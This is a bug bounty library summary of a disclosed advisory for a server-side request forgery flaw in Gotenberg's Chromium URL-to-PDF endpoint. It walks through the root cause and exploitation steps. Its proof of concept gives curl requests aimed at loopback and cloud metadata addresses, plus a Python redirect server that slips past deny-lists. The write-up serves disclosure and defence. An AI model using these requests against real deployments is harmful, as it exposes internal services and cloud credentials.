# Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass

Gotenberg's Chromium URL-to-PDF endpoint lacked default SSRF protection beyond file://, letting unauthenticated attackers fetch loopback, RFC 1918 and cloud metadata URLs, with redirects bypassing custom deny-lists.

- Payout: Research
- Severity: high
- Program: Gotenberg
- Found by: AyushParkara
- Disclosed: 2026-05-11
- CVE: CVE-2026-42595
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-chwh-f6gm-r836
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-chwh-f6gm-r836
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:chromium tech:go technique:chained technique:source-review vuln:ssrf

**Target:** /forms/chromium/convert/url endpoint (headless Chromium URL-to-PDF)
**Root cause:** Default deny-list regex `^file:(?!//\/tmp/).*` only blocks file:// URIs, leaving all HTTP/HTTPS targets unfiltered; deny-list is a pre-flight check on the initial URL only, and neither Chromium nor Go's http.Client re-validates redirect destinations.
**Steps:**
1. Deploy gotenberg/gotenberg:8 (v8.30.1) on localhost:3000; confirm no auth required.
2. POST to `/forms/chromium/convert/url` with `--form 'url=http://127.0.0.1:3000/health'`; receive HTTP 200 PDF of internal response.
3. POST with `--form 'url=http://169.254.169.254/latest/meta-data/'`; request not blocked (times out only because no metadata service in Docker).
4. Host a redirect server returning `302` with `Location: http://127.0.0.1:3000/health`.
5. POST with `--form 'url=http://172.17.0.1:9999/'`; Chromium follows the 302 to the internal target and returns the rendered PDF.
**How found:** Reviewed 4 published Gotenberg advisories (GHSA-pjrr-jgp4-v2fm, GHSA-pcrp-7g9h-7qhp) covering downloadFrom and webhook SSRF, noticed the primary Chromium URL endpoint was not addressed, and compared default deny-lists: secondary features block RFC 1918/link-local while the main endpoint only blocks file://. Then tested redirect handling on both Chromium and Go http.Client.
**Exploitation:** Unauthenticated attacker submits an internal URL (loopback, RFC 1918, or 169.254.169.254 metadata) to the Chromium conversion endpoint and receives the fetched content rendered as a PDF. When a custom deny-list is configured, attacker hosts an external redirect server that passes initial validation then 302s to the internal target; Chromium follows without re-validation. Same redirect trick defeats downloadFrom/webhook deny-lists since Go's http.Client has no CheckRedirect.
**Escalation:** Redirect hop converts a deny-list-validated external URL into an internal fetch, extending the bypass to hardened deployments and to downloadFrom/webhook endpoints.
**Insight:** When a product ships SSRF fixes for secondary endpoints, check whether the primary URL-fetching feature shares the same deny-list; also test whether the deny-list is applied only to the initial URL — a single 302 from an attacker host defeats pre-flight-only validation in both headless browsers and Go's default http.Client.

## Proof of concept (copied exactly from the original report)

**SSRF to localhost health endpoint via Chromium URL**

```
$ curl -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://127.0.0.1:3000/health' \
    -o ssrf.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 200, Size: 10196 bytes
```

**Redirect server 302 to internal target**

```
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://127.0.0.1:3000/health')
        self.end_headers()
    def do_HEAD(self):
        self.do_GET()

HTTPServer(('0.0.0.0', 9999), RedirectHandler).serve_forever()
```

**Redirect-based bypass request to internal health**

```
$ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://172.17.0.1:9999/' \
    -o redir.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 200, Size: 10244 bytes
```

